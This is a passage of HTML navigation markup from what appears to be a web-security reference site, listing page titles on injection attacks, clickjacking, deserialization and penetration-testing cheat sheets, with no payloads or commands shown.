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CRLF Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CRLF%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Carriage Return Line Feed
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_8" >
<label class="md-nav__link" for="__nav_8" id="__nav_8_label" tabindex="0">
<span class="md-ellipsis">
CSV Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_8_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_8">
<span class="md-nav__icon md-icon"></span>
CSV Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CSV%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
CSV Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_9" >
<label class="md-nav__link" for="__nav_9" id="__nav_9_label" tabindex="0">
<span class="md-ellipsis">
CVE Exploits
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_9">
<span class="md-nav__icon md-icon"></span>
CVE Exploits
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CVE%20Exploits/" class="md-nav__link">
<span class="md-ellipsis">
Common Vulnerabilities and Exposures
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../CVE%20Exploits/Log4Shell/" class="md-nav__link">
<span class="md-ellipsis">
CVE-2021-44228 Log4Shell
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--active md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" checked>
<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
<span class="md-ellipsis">
Clickjacking
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="true">
<label class="md-nav__title" for="__nav_10">
<span class="md-nav__icon md-icon"></span>
Clickjacking
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item md-nav__item--active">
<input class="md-nav__toggle md-toggle" type="checkbox" id="__toc">
<label class="md-nav__link md-nav__link--active" for="__toc">
<span class="md-ellipsis">
Clickjacking
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<a href="./" class="md-nav__link md-nav__link--active">
<span class="md-ellipsis">
Clickjacking
</span>
</a>
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
<label class="md-nav__title" for="__toc">
<span class="md-nav__icon md-icon"></span>
Table of contents
</label>
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
<li class="md-nav__item">
<a href="#summary" class="md-nav__link">
<span class="md-ellipsis">
Summary
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#tools" class="md-nav__link">
<span class="md-ellipsis">
Tools
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#methodology" class="md-nav__link">
<span class="md-ellipsis">
Methodology
</span>
</a>
<nav class="md-nav" aria-label="Methodology">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#ui-redressing" class="md-nav__link">
<span class="md-ellipsis">
UI Redressing
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#invisible-frames" class="md-nav__link">
<span class="md-ellipsis">
Invisible Frames
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#buttonform-hijacking" class="md-nav__link">
<span class="md-ellipsis">
Button/Form Hijacking
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#execution-methods" class="md-nav__link">
<span class="md-ellipsis">
Execution Methods
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#preventive-measures" class="md-nav__link">
<span class="md-ellipsis">
Preventive Measures
</span>
</a>
<nav class="md-nav" aria-label="Preventive Measures">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#implement-x-frame-options-header" class="md-nav__link">
<span class="md-ellipsis">
Implement X-Frame-Options Header
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#content-security-policy-csp" class="md-nav__link">
<span class="md-ellipsis">
Content Security Policy (CSP)
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#disabling-javascript" class="md-nav__link">
<span class="md-ellipsis">
Disabling JavaScript
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#onbeforeunload-event" class="md-nav__link">
<span class="md-ellipsis">
OnBeforeUnload Event
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#xss-filter" class="md-nav__link">
<span class="md-ellipsis">
XSS Filter
</span>
</a>
<nav class="md-nav" aria-label="XSS Filter">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#ie8-xss-filter" class="md-nav__link">
<span class="md-ellipsis">
IE8 XSS filter
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#chrome-40-xssauditor-filter" class="md-nav__link">
<span class="md-ellipsis">
Chrome 4.0 XSSAuditor filter
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#challenge" class="md-nav__link">
<span class="md-ellipsis">
Challenge
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#labs" class="md-nav__link">
<span class="md-ellipsis">
Labs
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#references" class="md-nav__link">
<span class="md-ellipsis">
References
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
<span class="md-ellipsis">
Client Side Path Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_11">
<span class="md-nav__icon md-icon"></span>
Client Side Path Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Client%20Side%20Path%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Client Side Path Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
<span class="md-ellipsis">
Command Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_12">
<span class="md-nav__icon md-icon"></span>
Command Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Command%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Command Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
<span class="md-ellipsis">
Cross Site Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_13">
<span class="md-nav__icon md-icon"></span>
Cross Site Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Cross-Site%20Request%20Forgery/" class="md-nav__link">
<span class="md-ellipsis">
Cross-Site Request Forgery
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
<span class="md-ellipsis">
DNS Rebinding
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_14">
<span class="md-nav__icon md-icon"></span>
DNS Rebinding
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../DNS%20Rebinding/" class="md-nav__link">
<span class="md-ellipsis">
DNS Rebinding
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
<span class="md-ellipsis">
DOM Clobbering
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_15">
<span class="md-nav__icon md-icon"></span>
DOM Clobbering
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../DOM%20Clobbering/" class="md-nav__link">
<span class="md-ellipsis">
DOM Clobbering
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
<span class="md-ellipsis">
Denial of Service
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_16">
<span class="md-nav__icon md-icon"></span>
Denial of Service
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Denial%20of%20Service/" class="md-nav__link">
<span class="md-ellipsis">
Denial of Service
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
<span class="md-ellipsis">
Dependency Confusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_17">
<span class="md-nav__icon md-icon"></span>
Dependency Confusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Dependency%20Confusion/" class="md-nav__link">
<span class="md-ellipsis">
Dependency Confusion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
<label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
<span class="md-ellipsis">
Directory Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_18">
<span class="md-nav__icon md-icon"></span>
Directory Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Directory%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Directory Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
<span class="md-ellipsis">
File Inclusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_19">
<span class="md-nav__icon md-icon"></span>
File Inclusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../File%20Inclusion/" class="md-nav__link">
<span class="md-ellipsis">
File Inclusion
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../File%20Inclusion/LFI-to-RCE/" class="md-nav__link">
<span class="md-ellipsis">
LFI to RCE
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../File%20Inclusion/Wrappers/" class="md-nav__link">
<span class="md-ellipsis">
Inclusion Using Wrappers
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" >
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
<span class="md-ellipsis">
Google Web Toolkit
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_20">
<span class="md-nav__icon md-icon"></span>
Google Web Toolkit
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Google%20Web%20Toolkit/" class="md-nav__link">
<span class="md-ellipsis">
Google Web Toolkit
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
<span class="md-ellipsis">
GraphQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_21">
<span class="md-nav__icon md-icon"></span>
GraphQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../GraphQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
GraphQL Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_22">
<span class="md-nav__icon md-icon"></span>
HTTP Parameter Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../HTTP%20Parameter%20Pollution/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
<span class="md-ellipsis">
Headless Browser
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_23">
<span class="md-nav__icon md-icon"></span>
Headless Browser
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Headless%20Browser/" class="md-nav__link">
<span class="md-ellipsis">
Headless Browser
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
<span class="md-ellipsis">
Hidden Parameters
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_24">
<span class="md-nav__icon md-icon"></span>
Hidden Parameters
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Hidden%20Parameters/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Hidden Parameters
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" >
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
<span class="md-ellipsis">
Insecure Deserialization
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_25">
<span class="md-nav__icon md-icon"></span>
Insecure Deserialization
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/DotNET/" class="md-nav__link">
<span class="md-ellipsis">
.NET Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Java/" class="md-nav__link">
<span class="md-ellipsis">
Java Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Node/" class="md-nav__link">
<span class="md-ellipsis">
Node Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/PHP/" class="md-nav__link">
<span class="md-ellipsis">
PHP Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Python/" class="md-nav__link">
<span class="md-ellipsis">
Python Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Ruby Deserialization
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_26" >
<label class="md-nav__link" for="__nav_26" id="__nav_26_label" tabindex="0">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_26">
<span class="md-nav__icon md-icon"></span>
Insecure Direct Object References
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Direct%20Object%20References/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
<label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
<span class="md-ellipsis">
Insecure Management Interface
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_27">
<span class="md-nav__icon md-icon"></span>
Insecure Management Interface
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Management%20Interface/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Management Interface
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
<span class="md-ellipsis">
Insecure Randomness
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_28">
<span class="md-nav__icon md-icon"></span>
Insecure Randomness
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Randomness/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Randomness
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
<label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_29">
<span class="md-nav__icon md-icon"></span>
Insecure Source Code Management
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Source%20Code%20Management/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Source%20Code%20Management/Bazaar/" class="md-nav__link">
<span class="md-ellipsis">
Bazaar
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Source%20Code%20Management/Git/" class="md-nav__link">
<span class="md-ellipsis">
Git
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Source%20Code%20Management/Mercurial/" class="md-nav__link">
<span class="md-ellipsis">
Mercurial
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Source%20Code%20Management/Subversion/" class="md-nav__link">
<span class="md-ellipsis">
Subversion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_30" >
<label class="md-nav__link" for="__nav_30" id="__nav_30_label" tabindex="0">
<span class="md-ellipsis">
JSON Web Token
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_30_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_30">
<span class="md-nav__icon md-icon"></span>
JSON Web Token
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../JSON%20Web%20Token/" class="md-nav__link">
<span class="md-ellipsis">
JWT - JSON Web Token
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_31" >
<label class="md-nav__link" for="__nav_31" id="__nav_31_label" tabindex="0">
<span class="md-ellipsis">
Java RMI
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_31_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_31">
<span class="md-nav__icon md-icon"></span>
Java RMI
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Java%20RMI/" class="md-nav__link">
<span class="md-ellipsis">
Java RMI
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_32" >
<label class="md-nav__link" for="__nav_32" id="__nav_32_label" tabindex="0">
<span class="md-ellipsis">
LDAP Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_32_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_32">
<span class="md-nav__icon md-icon"></span>
LDAP Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../LDAP%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
LDAP Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_33" >
<label class="md-nav__link" for="__nav_33" id="__nav_33_label" tabindex="0">
<span class="md-ellipsis">
LaTeX Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_33_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_33">
<span class="md-nav__icon md-icon"></span>
LaTeX Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../LaTeX%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
LaTeX Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_34" >
<label class="md-nav__link" for="__nav_34" id="__nav_34_label" tabindex="0">
<span class="md-ellipsis">
Mass Assignment
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_34_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_34">
<span class="md-nav__icon md-icon"></span>
Mass Assignment
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Mass%20Assignment/" class="md-nav__link">
<span class="md-ellipsis">
Mass Assignment
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_35" >
<label class="md-nav__link" for="__nav_35" id="__nav_35_label" tabindex="0">
<span class="md-ellipsis">
Methodology and Resources
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_35_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_35">
<span class="md-nav__icon md-icon"></span>
Methodology and Resources
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Active%20Directory%20Attack/" class="md-nav__link">
<span class="md-ellipsis">
Active Directory Attacks
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Bind%20Shell%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Bind Shell
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Cloud - AWS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Cloud - Azure
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Cobalt%20Strike%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Cobalt Strike
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Container%20-%20Docker%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Container - Docker
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Container%20-%20Kubernetes%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Container - Kubernetes
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Escape%20Breakout/" class="md-nav__link">
<span class="md-ellipsis">
Application Escape and Breakout
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/HTML%20Smuggling/" class="md-nav__link">
<span class="md-ellipsis">
HTML Smuggling
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Hash%20Cracking/" class="md-nav__link">
<span class="md-ellipsis">
Hash Cracking
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Initial%20Access/" class="md-nav__link">
<span class="md-ellipsis">
Initial Access
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Linux%20-%20Evasion/" class="md-nav__link">
<span class="md-ellipsis">
Linux - Evasion
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Linux%20-%20Persistence/" class="md-nav__link">
<span class="md-ellipsis">
Linux - Persistence
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation/" class="md-nav__link">
<span class="md-ellipsis">
Linux - Privilege Escalation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/MSSQL%20Server%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Server
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Metasploit
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Methodology%20and%20enumeration/" class="md-nav__link">
<span class="md-ellipsis">
Bug Hunting Methodology and Enumeration
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Network%20Discovery/" class="md-nav__link">
<span class="md-ellipsis">
Network Discovery
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Network%20Pivoting%20Techniques/" class="md-nav__link">
<span class="md-ellipsis">
Network Pivoting Techniques
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Office%20-%20Attacks/" class="md-nav__link">
<span class="md-ellipsis">
Office - Attacks
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Powershell%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Powershell
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Reverse Shell Cheat Sheet
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Source%20Code%20Management/" class="md-nav__link">
<span class="md-ellipsis">
Source Code Management &amp; CI/CD Compromise
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Vulnerability%20Reports/" class="md-nav__link">
<span class="md-ellipsis">
Vulnerability Reports
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Web%20Attack%20Surface/" class="md-nav__link">
<span class="md-ellipsis">
Subdomains Enumeration
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
Windows - AMSI Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20DPAPI/" class="md-nav__link">
<span class="md-ellipsis">
Windows - DPAPI
</span>
</a>
</li>
<li class="md-nav__item">
